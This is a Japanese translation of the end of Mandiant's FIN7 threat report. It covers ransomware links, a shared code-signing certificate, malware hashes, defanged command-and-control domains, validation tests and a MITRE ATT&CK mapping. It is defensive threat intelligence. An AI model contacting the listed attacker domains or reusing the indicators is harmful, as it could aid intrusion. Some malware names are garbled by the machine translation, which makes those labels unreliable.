Mandiant は 2020 年に完成したインテリジェンスを公開しました。これは、FIN7 が支払いカード データから恐喝操作への侵入の収益化に移行した可能性を示す証拠を概説しています。 FIN7 の活動は、以前の活動と比較すると大幅に変化していますが、このレポートの公開時点では、Mandiant はランサムウェアの直接的な展開が FIN7 によるものであるとは考えていません。ただし、FIN7 アクターがランサムウェア操作に関与している可能性は、コードの使用状況、アクターのインフラストラクチャ、および信頼できるサード パーティ ソースを含む、当社の侵入データ以外の証拠によって実証されています。

2020 年の少なくとも 2 つのインシデント対応エンゲージメントで、MAZE と RYUK の使用を含む、ランサムウェア暗号化の前に FIN7 侵入操作が特定されました。同様に、2021 年に Mandiant は、ALPHV ランサムウェアが関与するインシデント対応業務中にアクティブな FIN7 侵入活動があったと考えています。これらすべてのケースで、ランサムウェアの展開は現在、調査の要因と私たちの可視性により、個別に追跡されている脅威グループに起因しています.

侵入データから生成された証拠に加えて、二次アーティファクトは、FIN7 が少なくともいくつかの DARKSIDE 操作で役割を果たしたことを示唆しています。 2021 年に FIN7 が BEACON および BEAKDROP サンプルに署名するために使用した世界的に普及率の低いコード署名証明書は、野生で回収された複数の属性のない DARKSIDE サンプルに署名するためにも使用されました (表 3)。 FIN7 が使用する特定のコード署名証明書には、「 OASIS COURT LIMITED 」という SSL サブジェクト共通名が含まれていました (図 26)。

図 26: FIN7 が使用するコード署名証明書。複数の DARKSIDE ランサムウェア サンプルの署名にも使用される

シリアルナンバー:

e4:e7:95:fd:1f:d2:55:95:b8:69:ce:22:aa:7d:c4:9f

署名アルゴリズム: sha256WithRSAEncryption

発行者: C = GB、ST = グレーター マンチェスター、L = サルフォード、O = セクティゴ リミテッド、CN = セクティゴ RSA コード署名 CA

有効

以前: 12 月 21 日 00:00:00 2020 GMT

後 : 12 月 21 日 23:59:59 2021 GMT

件名: C = GB、郵便番号 = CO3 9FA、ST = エセックス、L = コルチェスター、ストリート = 10 ストーンリー パーク、O = OASIS COURT LIMITED、CN = OASIS COURT LIMITED

表 3: コード証明書で署名されたファイル

ファイル MD5

ノート

ab29b9e225a05bd17e919e1d0587289e

DNS ビーコン

1c3b19163a3b15b39ae00bbe131b499a

暗黒面

230a681ebbcdba7ae2175f159394d044

暗黒面

bf41fc54f96d0106d34f1c48827006e4

暗黒面

c4da0137cbb99626fd44da707ae1bca8

暗黒面

28e9581ab34297b6e5f817f93281ffac

FIN7 ビーコン

38786bc9de1f447d0187607eaae63f11

FIN7 ビーコン

6fba605c2a02fc62e6ff1fb8e932a935

FIN7ビークドロップ

結論

2018 年に FIN7 のメンバーが起訴され、 2021 年に米国司法省が発表した関連する判決にもかかわらず、FIN7 の少なくとも一部のメンバーは活動を続けており、時間の経過とともに犯罪活動を進化させ続けています。進化の過程で、FIN7 は運用速度、標的の範囲、さらにはサイバー犯罪者のアンダーグラウンドでの他のランサムウェア運用との関係さえも加速させてきました。

謝辞

Van Ta、Rufus Brown、Dan Perez、Barry Vengerik、Kimberly Goody、Andrew Thompson に、このコンテンツのテクニカル レビューと舞台裏での FIN7 研究に感謝します。さらに、私たちの調査を可能にする貴重な侵入データを収集してくださったすべての Mandiant Incident Response および Managed Defense レスポンダーに感謝します。

侵害の痕跡 (IOC)

インジケータ

ノート

0c6b41d25214f04abf9770a7bdfcee5d

ボートランチ 32bit

21f153810b82852074f0f0f19c0b3208

ボートランチ 64bit

02699f95f8568f52a00c6d0551be2de5

発電所

0291df4f7303775225c4044c8f054360

発電所

0fde02d159c4cd5bf721410ea9e72ee2

発電所

2cbb015d4c579e464d157faa16994f86

発電所

3803c82c1b2e28e3e6cca3ca73e6cce7

発電所

5a6bbcc1e44d3a612222df5238f5e7a8

発電所

833ae560a2347d5daf05d1f670a40c54

発電所

b637d33dbb951e7ad7fa198cbc9f78bc

発電所

bce9b919fa97e2429d14f255acfb18b4

発電所

d1d8902b499b5938404f8cece2918d3d

発電所

edb1f62230123abf88231fc1a7190b60

発電所

findoutcredit[.]com

パワープラント C2

againcome[.]com

パワープラント C2

modestoobgyn[.]com

パワープラント C2

myshortbio[.]com

パワープラント C2

estetictrance[.]com

パワープラント C2

internethabit[.]com

パワープラント C2

bestsecure2020[.]com

パワープラント C2

chyprediction[.]com

パワープラント C2

d405909fd2fd021372444b7b36a3b806

POWERTRASH Cryptor & CARBANAK ペイロード

122cb55f1352b9a1aeafc83a85bfb165

CROWVIEW (BIRDWATCH/JssLoader バリアント)

domenuscdm[.]com

CROWVIEW/ロードアウト C2

936b142d1045802c810e86553b332d2d

ロードアウト

23e1725769e99341bc9af48a0df64151

ロードアウト

4d56a1ca28d9427c440ec41b4969caa2

ロードアウト

50260f97ac2365cf0071e7c798b9edda

ロードアウト

spontaneousance[.]com

ロードアウト C2

fashionableeder[.]com

ロードアウト C2

incongruousance[.]com

ロードアウト C2

electroncador[.]com

ロードアウト C2

6fba605c2a02fc62e6ff1fb8e932a935

ビークドロップ

49ac220edf6d48680f763465c4c2771e

ビーコン

astara20[.]com

ビーコン C2

coincidencious[.]com

ビーコン C2

52f5fcaf4260cb70e8d8c6076dcd0157

Atera Agent を含むトロイの木馬化されたインストーラー

78c828b515e676cc0d021e229318aeb6

ウイングナイト

70bf088f2815a61ad2b1cc9d6e119a7f

ウイングナイト

4961aec62fac8beeafffa5bfc841fab8

高く飛ぶ

Mandiant のセキュリティ検証アクション

組織は、 Mandiant Security Validationを使用して、25 を超えるアクションに対してセキュリティ コントロールを検証できます。

VID

名前

A150-527

コマンドアンドコントロール – FIN7、BATELEUR、チェックイン

A150-528

コマンドアンドコントロール – FIN7、GRIFFON、チェックイン

A151-165

コマンド アンド コントロール – FIN7、GRIFFON、DNS クエリ #1

A151-166

コマンド アンド コントロール – FIN7、GRIFFON、DNS クエリ #2

A104-585

ホスト CLI – FIN7、WMI および Mshta によるローカル Javascript 実行

A150-546

悪意のあるファイル転送 – FIN7、CARBANAK、ダウンロード、亜種 #1

A150-548

悪意のあるファイル転送 – FIN7、CARBANAK、ダウンロード、亜種 #3

A150-710

悪意のあるファイル転送 – FIN7、DICELOADER、ダウンロード、亜種 #1

A150-549

悪意のあるファイル転送 – FIN7、DRIFTPIN、ダウンロード、亜種 #1

A150-550

悪意のあるファイル転送 – FIN7、DRIFTPIN、ダウンロード、亜種 #2

A151-168

悪意のあるファイル転送 – FIN7、GRIFFON、ダウンロード、JavaScript バリアント

A150-553

悪意のあるファイル転送 – FIN7、GRIFFON、ダウンロード、亜種 #1

A150-554

悪意のあるファイル転送 – FIN7、GRIFFON、ダウンロード、亜種 #2

A150-555

悪意のあるファイル転送 – FIN7、GRIFFON、ダウンロード、亜種 #3

A150-572

悪意のあるファイル転送 – FIN7、SUPERSOFT、ダウンロード、亜種 #1

A150-729

悪意のあるファイル転送 – FIN7、TAKEOUT、ダウンロード、亜種 #1

A150-730

悪意のあるファイル転送 – FIN7、TAKEOUT、ダウンロード、亜種 #2

A150-731

悪意のあるファイル転送 – FIN7、TAKEOUT、ダウンロード、亜種 #3

A150-585

フィッシング メール – 悪意のある添付ファイル、FIN7、BATELEUR DOC ルアー

A150-586

フィッシングメール – 悪意のある添付ファイル、FIN7、GRIFFON DOCM ルアー

A151-167

フィッシング メール – 悪意のある添付ファイル、FIN7、GRIFFON、Windows 11 をテーマにしたルアー

A150-587

フィッシング メール – 悪意のある添付ファイル、FIN7、トラッキング ピクセル

A150-590

保護された劇場 – FIN7、BATELEUR、処刑

A151-044

保護された劇場 – FIN7、CARBANAK、処刑

A150-366

保護された劇場 – FIN7、CULTSWAP、実行

A150-591

保護された劇場 – FIN7、GRIFFON、処刑

A151-170

保護された劇場 – FIN7、GRIFFON、実行、JavaScript バリアント

A151-169

保護された劇場 – FIN7、GRIFFON、実行、Word 文書のバリアント

MITRE ATT&CK マッピング

2020 年から 2021 年にかけて、Mandiant は FIN7 が次の手法を使用していることを確認しました。

実行

  • T1059: コマンドおよびスクリプト インタープリター
  • T1059.001: PowerShell
  • T1059.003: Windows コマンド シェル
  • T1059.005: Visual Basic
  • T1059.007: JavaScript
  • T1204.001: 悪意のあるリンク
  • T1204.002: 悪意のあるファイル
  • T1569.002: サービスの実行

初期アクセス

  • T1195.002: ソフトウェア サプライ チェーンの侵害
  • T1199: 信頼関係
  • T1566.001: スピアフィッシング添付ファイル
  • T1566.002: スピアフィッシング リンク

影響

  • T1491.002: 外部の改ざん 

資源開発

  • T1583.003: 仮想専用サーバー
  • T1588.003: コードサイニング証明書
  • T1588.004: デジタル証明書
  • T1608.003: デジタル証明書のインストール
  • T1608.005: リンク ターゲット

防御回避

  • T1027: 難読化されたファイルまたは情報
  • T1027.005: ツールからのインジケーターの削除
  • T1036: マスカレード
  • T1036.003: システム ユーティリティの名前を変更する
  • T1055: プロセス インジェクション
  • T1070.004: ファイルの削除
  • T1140: ファイルまたは情報の難読化解除/デコード
  • T1218.010: Regsvr32
  • T1218.011:Rundll32
  • T1497.001: システムチェック
  • T1553.002: コード署名
  • T1564.003: 隠しウィンドウ
  • T1620: リフレクティブ コードの読み込み

コレクション

  • T1113: 画面キャプチャ
  • T1213: 情報リポジトリからのデータ
  • T1560: 収集されたデータのアーカイブ

横移動

  • T1021.001: リモート デスクトップ プロトコル
  • T1021.004: SSH

コマンドと制御

  • T1071.001: Web プロトコル
  • T1090: プロキシ
  • T1095: 非アプリケーション層プロトコル
  • T1105: Ingress ツール転送
  • T1132.001: 標準エンコーディング
  • T1573.002: 非対称暗号

発見

  • T1012: レジストリのクエリ
  • T1033: システム所有者/ユーザーの発見
  • T1057: プロセス検出
  • T1069: アクセス許可グループの検出
  • T1069.002: ドメイン グループ
  • T1082: システム情報の検出
  • T1083: ファイルとディレクトリの検出
  • T1087: アカウントの検出
  • T1087.002: ドメイン アカウント
  • T1482: ドメイン信頼発見
  • T1518: ソフトウェア検出

資格情報へのアクセス

  • T1110.002: パスワード クラッキング
  • T1555.003: Web ブラウザからの資格情報
  • T1558.003: ケルベロスト

参考: https ://www.mandiant.com/resources/blog/evolution-of-fin7

Comments

Copied title and URL